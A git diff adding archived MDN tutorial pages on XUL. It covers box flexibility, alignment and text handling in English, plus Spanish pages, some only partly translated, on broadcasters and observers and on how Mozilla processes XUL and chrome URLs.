+<p>Now the flexible button is taking the available inner space, moving the other two buttons all the way to the end of the box.</p>
+
+<p>What would happen if we also add flexibility to the "Parrot" button?</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4203/=catparrotflex.png" style="height: 64px; width: 585px;"></p>
+
+<p>Since both buttons have a flexibility of 1, the available space is distributed evenly among the two. Note that this is not always the case. If one of the buttons has a very long label that restricts its minimum size, then it could be the label determining its size, while the other button would flex taking the rest of the room.</p>
+
+<p>Now, if you want a different size distribution in flexible elements, you can use flexibility values higher than 1.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4204/=morecatflex.png" style="height: 64px; width: 585px;"></p>
+
+<p>In this case, the "Cat" button has a <em>flex</em> value of 3, while the "Parrot" button still has a <em>flex</em> value of 1. The "Cat" button is now larger in a 3 to 1 proportion. Note that, again, this can depend on the contents of the elements, in this case, the labels and paddings in the buttons. If the label of the "Parrot" button was something much longer, the size ratio would not be kept.</p>
+
+<p>You can have even more control over the size of flexible elements using the <a href="/en/XUL/Attribute/minwidth" title="en/XUL/Attribute/minwidth">minwidth</a>, <a href="/en/XUL/Attribute/maxwidth" title="en/XUL/Attribute/maxwidth">maxwidth</a>, <a href="/en/XUL/Attribute/minheight" title="en/XUL/Attribute/minHeight">minheight</a> and <a href="/en/XUL/Attribute/maxheight" title="en/XUL/Attribute/maxheight">maxheight</a> attributes, or their CSS counterparts: <a href="/en/CSS/min-width" title="en/CSS/min-width">min-width</a>, <a href="/en/CSS/max-width" title="en/CSS/max-width">max-width</a>, <a href="/en/CSS/min-height" title="en/CSS/min-height">min-height</a> and <a href="/en/CSS/max-height" title="en/CSS/max-height">max-height</a>. The latter are recommended to keep style code in the skin section of the chrome. As their names should make clear, you can control the flexibility boundaries of elements, thus preventing them from growing or shrinking too much.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">All CSS properties involving lengths should be handled with caution. We recommended that you use proportional units (em, %) instead of absolute units (px) whenever possible. Using the former allows the UI to scale proportionately depending on font size settings, which are often changed by users with accessibility limitations. A common exception to this rule is when your CSS is directly related to images, where you'll usually handle measurements in pixels (px).</div>
+</div>
+</div>
+
+<p>Also, just like in HTML, you can control the dimensions of inflexible elements using the <a href="/en/CSS/width" title="en/CSS/width">width</a> and <a href="/en/CSS/height" title="en/CSS/height">height</a> CSS properties and attributes. These attributes won't have any effect on flexible elements.</p>
+
+<h3 id="Margins_paddings_and_spacers">Margins, paddings and spacers</h3>
+
+<p>Margins and paddings are frequently used in both HTML and XUL to define spacing between elements and inside of elements. The <a href="/en/CSS/margin" title="en/CSS/margin">margin</a> determines the space between an element and the elements surrounding it, while the <a href="/en/CSS/padding" title="en/CSS/padding">padding</a> determines the space between the borders of a container element and its child nodes, kind of like an inner margin.</p>
+
+<p>Sometimes you also need to define flexible spaces between elements. In this case you should use a <a href="/en/XUL/spacer" title="en/XUL/spacer">spacer</a> element with a <em>flex</em> value. A <em>spacer</em> element is completely invisible and doesn't do more than take space. You should only use it when you need flexible space. If you need fix-sized space it's best to use margins and paddings and avoid adding unnecessary nodes to your XUL document.</p>
+
+<h2 id="Alignment">Alignment</h2>
+
+<p>XUL, unlike HTML, provides an easy way to align elements both horizontally and vertically. You can either use the <a href="/en/XUL/Attribute/align" title="en/XUL/Attribute/align">align</a> and <a href="/en/XUL/Attribute/pack" title="en/XUL/Attribute/pack">pack</a> attributes, or the <a href="/en/CSS/box-align" title="en/CSS/-moz-box-align">-moz-box-align</a> and <a href="/en/CSS/box-pack" title="en/CSS/-moz-box-pack">-moz-box-pack</a> CSS properties. Packing determines the positioning of the child elements in the direction of the container's orientation. Alignment determines the positioning in the other direction. So, in a flexed <em>hbox</em>, having <em>center</em> alignment and <em>end</em> packing results in this:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4205/=alignment.png" style="height: 204px; width: 427px;"></p>
+
+<p>One important thing to notice is that aligment and flexibility can't be mixed in some cases. If you add flexibility to one of the buttons, the packing will no longer be useful, but the alignment still makes a difference. It also wouldn't make sense to use flexibility or packing in the <em>hbox</em> if it didn't have any available horizontal space; the container element needs to either be flexible itself, or have a fixed width larger than its contents.</p>
+
+<h2 id="Text">Text</h2>
+
+<p>There are 2 XUL elements that are typically used for displaying text: <a href="/en/XUL/label" title="en/XUL/label">label</a> and <a href="/en/XUL/description" title="en/XUL/description">description</a>. Their behavior is nearly identical, but they are meant to be used in different situations.</p>
+
+<p>The <em>label</em> element should be used mainly for text in XUL forms, such as the ones you see in the Firefox Options / Preferences window. Here's a typical usage of the <em>label</em> element:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;label control=<span class="code-quote">"xulschoolhello-greeting-textbox"</span>
+  value=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.typeGreeting.label;"</span> /&gt;
+&lt;textbox id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-greeting-textbox"</span> /&gt;</pre>
+</div>
+</div>
+
+<p>The label says something like "Type a greeting message", and the textbox next to it allows the user to type the message. The <a href="/en/XUL/Attribute/control" title="en/XUL/Attribute/control">control</a> attribute links the label to the textbox. If the user clicks on the label, the textbox will be focused. Also, if the user has a screen reader, the label will be read when the focus is placed on the textbox.</p>
+
+<p>The <em>description</em> element is used for the rest of the cases, where the text is only meant as additional information and is not related to input elements.</p>
+
+<p>Handling text in XUL may seem simple, but it's actually quite a tricky subject. You always have to keep in mind that localized strings may be significantly longer in other languages, specially much longer than English strings. You should avoid using long blocks text, and also avoid designing your UI so that everything fits just right around text. You should always keep in mind that the text can be much longer, and your UI should adapt to it.</p>
+
+<p>Labels should generally be short, and they should always be displayed in a single line. Descriptions may be longer, and in general you should plan it so that they can wrap into multiple lines. In order to have wrapping descriptions, you need to set the text as a child node instead of using the <em>value</em> attribute:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;description&gt;&amp;<span class="code-quote">xulschoolhello</span>.description.label;&lt;/description&gt;</pre>
+</div>
+</div>
+
+<p>Even then, the text will extend as much as it can in a single line, so you need to add some CSS limits in order to make it wrap inside a XUL dialog or window. You can use the CSS property <em>width</em> to restrict the width of the <em>description</em> so that it wraps as you need it to.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">Never cut text lines into separate locale strings in order to bypass wrapping difficulties. This makes localization much harder, or even impossible in some cases.</div>
+</div>
+</div>
+
+<p>There are other more complicated text wrapping cases where a <em>description</em> won't be good enough. For instance, <a href="/en/XUL_Tutorial/Templates" title="en/XUL Tutorial/Templates">templates</a> don't allow you to set the internal text in a <em>description</em> element in a way that it wraps properly. One way to work around this is using a <a href="/en/XUL/textbox" title="en/XUL/textbox">textbox</a> element instead. <a class="external" href="http://xulsolutions.blogspot.com/2006/07/how-to-handle-text-and-keep-your.html">This blog post</a> is a good guide on the subject, and you should keep it in mind if you need to do some advanced text handling.</p>
+
+<p>Another way to handle excessive text length is to use the <a href="/en/XUL/Attribute/crop" title="en/XUL/Attribute/crop">crop</a> attribute. If the line of text is longer than its container will allow, the text will be cut, showing "..." in the place where it was cut. You can choose where to cut the text, but cropping at the end is the most common practice. Similarly as with wrapping, cropping will only occur is there is no room for the text to grow, so you'll need to restrict the width using CSS.</p>
+
+<h3 id="Text_links">Text links</h3>
+
+<p>XUL makes it very easy for you to create a <em>label</em> that is also a link. All you need is to set the <a href="/en/XUL/Style/text-link" title="en/XUL/Style/text-link">text-link</a> class to the label, and add an <em>onclick</em> handler (<em>oncommand</em> won't work for this). The label is displayed with the expected link style so that users can easily recognize it as a link.</p>
+
+<p>A trickier case is when you need only part of a label to be clickable, just like in HTML. Since labels can't handle rich text, workarounds have to implemented using Javascript. One possibility is to use special markup in a locale property so that the link can be easily recognized:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java"><span class="code-quote">xulschoolhello</span>.linkedText.label = Go to &lt;a&gt;our site&lt;/a&gt; <span class="code-keyword">for</span> more information</pre>
+</div>
+</div>
+
+<p>The syntax is similar to HTML because it's easier to read this way, but string bundles won't do anything special with it. You'll have to break the string using <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/Core JavaScript 1.5 Reference/Global Objects/RegExp">regular expressions</a> and generate 3 different labels, one with the <em>text-link</em> class. You'll also need to do some CSS work on the labels so that the inner spacing in the text looks right.</p>
+
+<p>Another option is to take it up a notch and really use HTML.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java"><span class="code-quote">xulschoolhello</span>.linkedText.label = Go to &lt;html:a onclick=<span class="code-quote">"%S"</span>&gt;our site&lt;/html:a&gt; <span class="code-keyword">for</span> more information</pre>
+</div>
+</div>
+
+<p>To include HTML in a XUL document, you need to add the namespace for it in the document root:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;overlay id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-browser-overlay"</span>
+  xmlns=<span class="code-quote">"http:<span class="code-comment">//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"</span>
+  xmlns:html=<span class="code-quote">"http://www.w3.org/1999/xhtml"</span>&gt;</span></pre>
+</div>
+</div>
+
+<p>Then you can have an <em>html:p</em> (paragraph) element where you insert the result of parsing the property string. You can easily parse XML using the <a href="/en/DOM/DOMParser" title="en/DOMParser">DOMParser</a> object.</p>
+
+<div class="note">Since XUL documents are strict XML, you can only use strict XHTML in XUL, and not the more loosely-formatted forms of HTML.</div>
+
+<h2 id="Exercise">Exercise</h2>
+
+<p>Use the DOM Inspector extension to look into the Firefox chrome. Select toolbar buttons, menu items, textboxes, etc. and look into the Box Model, CSS Style Rules and Computed Style views. Look into the computed width and height values, and how the paddings and margins affect the dimensions of XUL nodes.</p>
+
+<p>Modify the Hello World extension so that it changes the appearance of Firefox drastically using only CSS. Play with changing the dimensions and appearance of buttons, changing the background color of the toolbars and status bars, font styles, sizes, etc. Note that this is not really what you would expect from an extension, it's more like a theme. However, it's very interesting and useful to see how you can manipulate the appearance of Firefox so easily.</p>
+
+<p>If you're not familiar with CSS, you should read this <a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS Getting Started Guide</a> and other online resources before continuing with this tutorial.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Agregar_eventos_y_comandos", "Escuela_XUL/Agregar_ventanas_y_dialogos") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/emisores_y_receptores/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/emisores_y_receptores/index.html
new file mode 100644
index 0000000000..dc19a9e359
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/emisores_y_receptores/index.html
@@ -0,0 +1,118 @@
+---
+title: Emisores y receptores
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Emisores_y_receptores
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Broadcasters_and_Observers
+---
+<p>There may be times when you want several elements to respond to events or changes of state easily. To do this, we can use broadcasters.</p>
+
+<h3 id="Command_Attribute_Forwarding" name="Command_Attribute_Forwarding">Command Attribute Forwarding</h3>
+
+<p>We've already seen that elements such as buttons can be hooked up to commands. In addition, if you place the <code><a href="es/XUL/Atributos#disabled">desactivado</a></code> attribute on the <code><a href="es/XUL/Elementos#command">comando</a></code> element, any elements hooked up to it will also become disabled automatically. This is useful way to simplify the amount of code you need to write. The technique also works for other attributes as well. For instance, if you place a <code><a href="es/XUL/Atributos#label">label</a></code> attribute on a <code><a href="es/XUL/Elementos#command">comando</a></code> element, any buttons attached to the command will share the same label.</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;command id="mi_comando" label="Abrir"/&gt;
+
+&lt;button command="mi_comando"/&gt;
+&lt;checkbox label="Abrir en una ventan nueva" command="mi_comando"/&gt;
+</pre>
+
+<p>In this example, the button does not have a <code><a href="es/XUL/Atributos#label">label</a></code> attribute, however it is attached to a command that does. The button will share the label with the command. The checkbox already has a label, however, it will be overridden by the command's label. The result is that both the button and the checkbox will have the same label 'Open'.</p>
+
+<p>If you were to modify the command's <code><a href="es/XUL/Atributos#label">label</a></code> attribute, the label on the button and checkbox will adjust accordingly. We saw something like this in a previous section where the <code><a href="es/XUL/Atributos#disabled">desactivado</a></code> attribute was adjusted once and propagated to other elements.</p>
+
+<p>This attribute forwarding is quite useful for a number of purposes. For instance, let's say that we want the Back action in a browser to be disabled. We would need to disable the Back command on the menu, the Back button on the toolbar, the keyboard shortcut (Alt+Left for example) and any Back commands on popup menus. Although we could write a script to do this, it is quite tedious. It also has the disadvantage that we would need to know all of the places where a Back action could be. If someone added a new Back button using an extension, it wouldn't be handled. It is convenient to simply disable the Back action and have all the elements that issue the Back action disable themselves. We can use the attribute forwarding of commands to accomplish this.</p>
+
+<h3 id="El_emisor" name="El_emisor">El emisor</h3>
+
+<p>There is a similar element called a <code><a href="es/XUL/Elementos#broadcaster">emisor</a></code>. Broadcasters support attribute forwarding in the same way that commands do. They work the same as commands except that a command is used for actions, while a broadcaster is instead used for holding state information. For example, a <code><a href="es/XUL/Elementos#command">comando</a></code> would be used for an action such as Back, Cut or Delete. A <code><a href="es/XUL/Elementos#broadcaster">emisor</a></code> would be used to hold, for instance, a flag to indicate whether the user was online or not. In the former case, menu items and toolbar buttons would need to be disabled when there was no page to go back to, or no text to cut or delete. In the latter case, various UI elements might need to update when the user switches from offline mode to online mode.</p>
+
+<p>The simplest broadcaster is shown below. You should always use an <code><a href="es/XUL/Atributos#id">id</a></code> attribute so that it can be referred to by other elements.</p>
+
+<pre>&lt;broadcasterset&gt;
+  &lt;broadcaster id="isOffline" label="Offline"/&gt;
+&lt;/broadcasterset&gt;
+</pre>
+
+<p>Any elements that are watching the broadcaster will be modified automatically whenever the broadcaster has its <code><a href="es/XUL/Atributos#label">label</a></code> attribute changed. This results in these elements having a new label. Like other non-displayed elements, the <code><a href="es/XUL/Elementos#broadcasterset">broadcasterset</a></code> element serves as a placeholder for broadcasters. You should declare all your broadcasters inside a <code><a href="es/XUL/Elementos#broadcasterset">broadcasterset</a></code> element so that they are all kept together.</p>
+
+<h3 id="Making_elements_observers" name="Making_elements_observers">Making elements observers</h3>
+
+<p>Elements that are watching the broadcaster are called observers because they observe the state of the broadcaster. To make an element an observer, add an <code><a href="es/XUL/Atributos#observes">observes</a></code> attribute to it. This is analogous to using the <code><a href="es/XUL/Atributos#command">comando</a></code> attribute when attaching an element to a <code><a href="es/XUL/Elementos#command">comando</a></code> element. For example, to make a button an observer of the broadcaster above:</p>
+
+<pre>&lt;button id="offline_button" observes="isOffline"/&gt;
+</pre>
+
+<p>The <code>observes</code> attribute has been placed on the button and its value has been set to the value of the <code>id</code> on the broadcaster to observe. Here the button will observe the broadcaster which has the id <code>isOffline</code>, which is the one defined earlier. If the value of the <code>label</code> attribute on the broadcaster changes, the observers will update the values of their <code><a href="es/XUL/Atributos#label">label</a></code> attributes also.</p>
+
+<p>We could continue with additional elements. As many elements as you want can observe a single broadcaster. You can also have only one if you wanted to but that would accomplish very little since the main reason for using broadcasters is to have attributes forwarded to multiple places. You should only use broadcasters when you need multiple elements that observe an attribute. Below, some additional observers are defined:</p>
+
+<pre>&lt;broadcaster id="offline_command" label="Offline" accesskey="f"/&gt;
+
+&lt;keyset&gt;
+  &lt;key id="goonline_key" observes="offline_command" modifiers="accel" key="O"/&gt;
+&lt;/keyset&gt;
+&lt;menuitem id="offline_menuitem" observes="offline_command"/&gt;
+&lt;toolbarbutton id="offline_toolbarbutton" observes="offline_command"/&gt;
+</pre>
+
+<p>In this example, both the <code><a href="es/XUL/Atributos#label">label</a></code> and the <code><a href="es/XUL/Atributos#accesskey">accesskey</a></code> will be forwarded from the broadcaster to the key, menu item and the toolbar button. The key won't use any of the received attributes for anything, but it will be disabled when the broadcaster is disabled.</p>
+
+<p>You can use a broadcaster to observe any attribute that you wish. The observers will grab all the values of any attributes from the broadcasters whenever they change. Whenever the value of any of the attributes on the broadcaster changes, the observers are all notified and they update their own attributes to match. Attributes of the observers that the broadcaster doesn't have itself are not modified. The only attributes that are not updated are the <code><a href="es/XUL/Atributos#id">id</a></code> and <code><a href="es/XUL/Atributos#persist">persist</a></code> attributes; these attributes are never shared. You can also use your own custom attributes if you wish.</p>
+
+<p>Broadcasters aren't used frequently as commands can generally handle most uses. One thing to point out is that there really is no difference between the <code><a href="es/XUL/Elementos#command">comando</a></code> element and the <code><a href="es/XUL/Elementos#broadcaster">emisor</a></code> element. They both do the same thing. The difference is more semantic. Use commands for actions and use broadcasters for state. In fact, any element can act as broadcaster, as long as you observe it using the <code><a href="es/XUL/Atributos#observes">observes</a></code> attribute.</p>
+
+<h3 id="El_observador" name="El_observador">El observador</h3>
+
+<p>There is also a way to be more specific about which attribute of the broadcaster to observe. This involves an <code><a href="es/XUL/Elementos#observes">observes</a></code> element. Like its attribute counterpart, it allows you to define an element to be an observer. The <code><a href="es/XUL/Elementos#observes">observes</a></code> element should be placed as a child of the element that is to be the observer. An example is shown below:</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;broadcasterset&gt;
+  &lt;broadcaster id="isOffline" label="Offline" accesskey="f"/&gt;
+&lt;/broadcasterset&gt;
+
+&lt;button id="offline_button"&gt;
+  &lt;observes element="isOffline" attribute="label"/&gt;
+&lt;/button&gt;
+</pre>
+
+<p>Two attributes have been added to the <code><a href="es/XUL/Elementos#observes">observes</a></code> element. The first, <code><a href="es/XUL/Atributos#element">elemento</a></code>, specifies the id of the broadcaster to observe. The second, <code><a href="es/XUL/Atributos#attribute">atributo</a></code>, specifies the attribute to observe. The result here is that the button will receive its label from the broadcaster, and when the label is changed, the label on the button is changed. The <code><a href="es/XUL/Elementos#observes">observes</a></code> element does not change but instead the element it is inside changes, which in this case is a <code><a href="es/XUL/Elementos#button">botón</a></code>. Notice that the <code><a href="es/XUL/Atributos#accesskey">accesskey</a></code> is not forwarded to the button, since it is not being obseved. If you wanted it to be, another <code><a href="es/XUL/Elementos#observes">observes</a></code> element would need to be added. If you don't use any <code><a href="es/XUL/Elementos#observes">observes</a></code> elements, and instead use the <code><a href="es/XUL/Atributos#observes">observes</a></code> attribute directly on the button, all attributes will be observed.</p>
+
+<h4 id="El_evento_emisor" name="El_evento_emisor">El evento emisor</h4>
+
+<p>There is an additional event handler that we can place on the <code><a href="es/XUL/Elementos#observes">observes</a></code> element which is <code>onbroadcast</code>. The event is called whenever the observer notices a change to the attributes of the broadcaster that it is watching. An example is shown below.</p>
+
+<p><strong>Example 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_3.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;broadcasterset&gt;
+  &lt;broadcaster id="colorChanger" style="color: black"/&gt;
+&lt;/broadcasterset&gt;
+
+&lt;button label="Test"&gt;
+  &lt;observes element="colorChanger" attribute="style" onbroadcast="alert('Color changed');"/&gt;
+&lt;/button&gt;
+
+&lt;button label="Observer"
+  oncommand="document.getElementById('colorChanger').setAttribute('style','color: red');"
+/&gt;
+</pre>
+
+<p>Two buttons have been created, one labeled Test and the other labeled Observer. If you click on the Test button, nothing special happens. However, if you click on the Observer button, two things happen. First, the button changes to have red text and, second, an alert box appears with the message 'Color changed'.</p>
+
+<p>What happens is the <code><a href="es/XUL/Atributos#oncommand">oncommand</a></code> handler on the second button is called when the user presses on it. The script here gets a reference to the broadcaster and changes the style of it to have a <code>color</code> that is red. The broadcaster is not affected by the style change because it doesn't display on the screen. However, the first button has an observer which notices the change in style. The <code><a href="es/XUL/Atributos#element">elemento</a></code> and the <code><a href="es/XUL/Atributos#attribute">atributo</a></code> on the <code><a href="es/XUL/Elementos#observes">observes</a></code> tag detect the style change. The style is applied to the first button automatically.</p>
+
+<p>Next, because the broadcast occured, the event handler <code>onbroadcast</code> is called. This results in an alert message appearing. Note that the broadcast only occurs if the attributes on the <code><a href="es/XUL/Elementos#broadcaster">emisor</a></code> element are changed. Changing the style of the buttons directly will not cause the broadcast to occur so the alert box will not appear.</p>
+
+<p>If you tried duplicating the code for the first <code><a href="es/XUL/Elementos#button">botón</a></code> several times, you would end up with a series of alert boxes appearing, one for each button. This is because each button is an observer and will be notified when the style changes.</p>
+
+<p>Seguimos con el uso del <a href="es/Tutorial_de_XUL/Modelo_de_objeto_de_documento">DOM</a> con elementos XUL.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Actualizar_comandos" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Modelo_de_objeto_de_documento">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/estructura_xul/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/estructura_xul/index.html
new file mode 100644
index 0000000000..0859e26e37
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/estructura_xul/index.html
@@ -0,0 +1,159 @@
+---
+title: Estructura XUL
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Estructura_XUL
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/XUL_Structure
+---
+<p>{{ PreviousNext("Tutorial de XUL:Introducción", "Tutorial de XUL:La URL chrome") }}</p>
+
+<p> </p>
+
+<p>Comenzaremos viendo cómo se procesa XUL por parte de Mozilla.</p>
+
+<h3 id="C.C3.B3mo_se_procesa_XUL" name="C.C3.B3mo_se_procesa_XUL">Cómo se procesa XUL</h3>
+
+<p>En Mozilla, XUL se procesa en forma similar al procesamiento de <a href="es/HTML">HTML</a> y otros tipos de contenido. Cuando el usuario escribe la URL de una página HTML en el campo de dirección del navegador, éste busca el sitio web y descarga su contenido. El motor de presentación de Mozilla toma el contenido en el formato HTML y lo transforma en un árbol de documento. Este árbol se convierte en un conjunto de objetos que pueden mostrarse en la pantalla. Los estilos <a href="es/CSS">CSS</a>, imágenes y otras tecnologías son usados para controlar la presentación. El procesamiento de XUL es muy similar.</p>
+
+<p>De hecho, en Mozilla, todos los tipos de documento, sin importar si son HTML, XUL o aún <a href="es/SVG">SVG</a> son procesados por el mismo código. Esto significa que las mismas propiedades CSS pueden usarse para definir el estilo tanto del HTML como de XUL, y muchas de las características pueden compartirse entre ambos. Sin embargo, hay características que son específicas del HTML como son los formularios, y otras que son específicas de XUL como son los <strong>overlays</strong> (revestimientos). Ya que XUL y HTML se procesan de la misma forma, se pueden cargar desde el sistema de archivos local del usuario, desde una página web, desde una extensión del navegador o desde una aplicación <a href="es/XULRunner">XULRunner</a>.</p>
+
+<p>El contenido de fuentes remotas, como por ejemplo: <span class="nowiki">http://localhost/~username/</span>, sin importar si es HTML, XUL o cualquier otro tipo de documento, está limitado en la clase de operaciones que pueden realizar, por razones de seguridad. Por este motivo, Mozilla proporciona un método para instalar contenido en forma local y registrar los archivos instalados para que formen parte del sistema chrome. Esto permite usar una URL especial llamada la URL <code><a class="external" rel="freelink">chrome://</a></code>. Al acceder a un archivo usando la URL chrome, éstos reciben privilegios para acceder a archivos locales, preferencias, marcadores de página y ejecutar otras operaciones privilegiadas. Obviamente, las páginas web no obtienen estos privilegios, a menos que estén firmadas con un certificado digital y el usuario dé el permiso para ejecutar estas operaciones.</p>
+
+<p>Este registro en el paquete chrome es la forma en la que las extensiones de Firefox pueden añadir características al navegador. Las extensiones son pequeños paquetes con archivos XUL, Javascript, hojas de estilo e imágenes empaquetados en un sólo archivo. Este archivo puede crearse usando una utilidad ZIP. Cuando el usuario descarga la extensión, ésta es instalada en su máquina. La extensión se ensambla en el navegador usando una característica especial de XUL llamada overlay (revestimiento), la cual permite que se combinen el XUL de la extensión y el XUL del navegador. Para el usuario, puede parecer que la extensión ha modificado al navegador, pero en realidad el código está separado y la extensión se puede desinstalar fácilmente.</p>
+
+<p>Por supuesto, no es necesario que los paquetes registrados usen revestimientos. Si no los usan, no se puede acceder a ellos desde la interfaz del navegador, pero sí por medio de la URL chrome, si se sabe cuál es.</p>
+
+<p>Las aplicaciones XUL autónomas (que no necesitan el navegador) pueden incluir código XUL de la misma forma, pero este código se incluirá como parte de la instalación, en lugar de tener que instalarse de forma separada como una extensión. Sin embargo, este código XUL debe ser registrado en el sistema chrome de tal forma que las aplicaciones puedan mostrar la UI.</p>
+
+<p>Vale la pena anotar que el navegador Mozilla realmente es un conjunto de paquetes que contienen archivos XUL, JavaScript y hojas de estilo. Estos paquetes son accesibles usando una URL chrome, tienen privilegios ampliados y trabajan como cualquier otro paquete. Por supuesto, el navegador es más grande y más sofisticado que la mayoría de las extensiones. Firefox, Thunderbird y muchos otros componentes también están escritos en XUL y se puede acceder a ellos usando la URL chrome. Se puede examinar estos paquetes mirando el directorio chrome donde Firefox o cualquier otra aplicación XUL esté instalada.</p>
+
+<p>La URL chrome siempre comienza por '<a class="external" rel="freelink">chrome://</a>'. De la misma forma que la URL <code><span class="nowiki">'http://'</span></code> se refiere a sitios web remotos accesibles por medio de HTTP y la URL <code>'<a class="external" rel="freelink">file://</a>'</code> siempre se refiere a archivos locales, la URL <code>'<a class="external" rel="freelink">chrome://</a>'</code> se refiere a los paquetes y extensiones instalados. En la próxima sección veremos con detalles la sintaxis de la URL chrome. Es importante anotar que si se accede a un contenido a través de una URL chrome, éste gana los privilegios ampliados que se han mencionado anteriormente y que otras clases de URL no tienen. Por ejemplo, una URL HTTP no tiene ningún privilegio especial, y ocurrirá un error si la página web intenta leer un archivo local. Sin embargo, un archivo cargado por medio de una URL chrome podrá leer archivos sin restricciones.</p>
+
+<p>Esta diferenciación es importante. Significa que hay ciertas cosas que el contenido de las páginas web no puede hacer, tales como leer los marcadores de página del usuario. Esta diferenciación no está basada en la clase de contenido a ser mostrado, sólo en el tipo de URL empleada. Tanto el HTML como el XUL colocados en un sitio web no tienen permisos adicionales, sin embargo si el HTML o el XUL son cargados por medio de una URL chrome tendrán permisos ampliados.</p>
+
+<p>Si Ud. va a usar XUL en un sitio web, debe colocar el archivo XUL en el sitio web tal como lo haría con un archivo HTML, y luego cargar su URL en el navegador (<span class="nowiki">http://localhost/xul.php</span>). Debe asegurarse que el servidor web esté configurado para enviar los archivos XUL con el tipo de contenido de <strong>application/vnd.mozilla.xul+xml</strong> (con PHP sería: <code>header('content-type: application/vnd.mozilla.xul+xml');</code>). Este tipo de contenido permite a Mozilla diferenciar entre HTML y XUL. Mozilla no usa la extensión del archivo, a menos que esté leyendo archivos del disco local, pero se debería usar la extensión .xul para todos los archivos XUL. Es posible abrir archivos XUL desde el navegador o el gestor de archivos.</p>
+
+<div class="note">Recuerde que los archivos XUL remotos tienen restricciones significativas sobre lo que pueden hacer.</div>
+
+<h4 id="Tipos_de_documentos_HTML_XML_XUL_CSS" name="Tipos_de_documentos:_HTML_XML_XUL_CSS">Tipos de documentos: HTML XML XUL CSS</h4>
+
+<p>Mozilla emplea una clase totalmente diferente de objeto de documento (<a href="es/DOM">DOM</a>) para el HTML y el XUL, aunque compartan mucha funcionalidad. En Mozilla existen tres tipos principales de documentos: HTML, XML y XUL. Naturalmente, el documento HTML se usa para los documentos HTML, el documento XUL se utiliza en los documentos XUL y el documento XML se emplea para otros tipos de documentos XML. Ya que el formato XUL también es XML, el documento XUL es una subclase del documento XML que es más genérico. Existen diferencias sutiles de funcionalidad. Por ejemplo, mientras los controles de un formulario en HTML es accesible por medio de la propiedad <code>document.forms</code>, en los documentos XUL no está disponible ya que XUL no tiene formularios en el mismo sentido que HTML. De otro lado, características específicas de XUL como los revestimientos y las plantillas sólo están disponibles en los documentos XUL.</p>
+
+<p>La distinción entre documentos es importante. Es posible usar muchas características de XUL en documentos HTML o XML ya que no son específicas al tipo de documento, sin embargo, otras características requieren un tipo de documento específico. Por ejemplo, se pueden usar los tipos de disposición de XUL en otros documentos ya que no dependen del tipo de documento XUL para funcionar.</p>
+
+<p>Para resumir los puntos expuestos anteriormente:</p>
+
+<ul>
+ <li>Mozilla muestra el <a href="es/HTML">HTML</a> y el <a href="es/XUL">XUL</a> con el mismo motor de resultado y emplea <a href="es/CSS">CSS</a> para especificar su presentación.</li>
+ <li>XUL puede cargarse desde un sitio remoto, desde el sistema de archivos local o ser instalado como un paquete y ser accesible con una URL chrome. Esto es lo que hacen las extensiones del navegador.</li>
+ <li>Las URL chrome sirven para acceder a los paquetes instalados y abrirlos con privilegios ampliados.</li>
+ <li>HTML, XML y XUL cada uno representa un diferente tipo de documento. Algunas características se pueden usar en cualquier tipo de documento, mientras que otras son específicas de un tipo de documento.</li>
+</ul>
+
+<p>En las próximas secciones describiremos la estructura básica de un paquete chrome que será instalado dentro de Mozilla. Sin embargo, si desea comenzar a construir una aplicación simple, puede saltar a <a href="es/Tutorial_de_XUL/Creando_una_ventana">creando una ventana</a> y volver más tarde.</p>
+
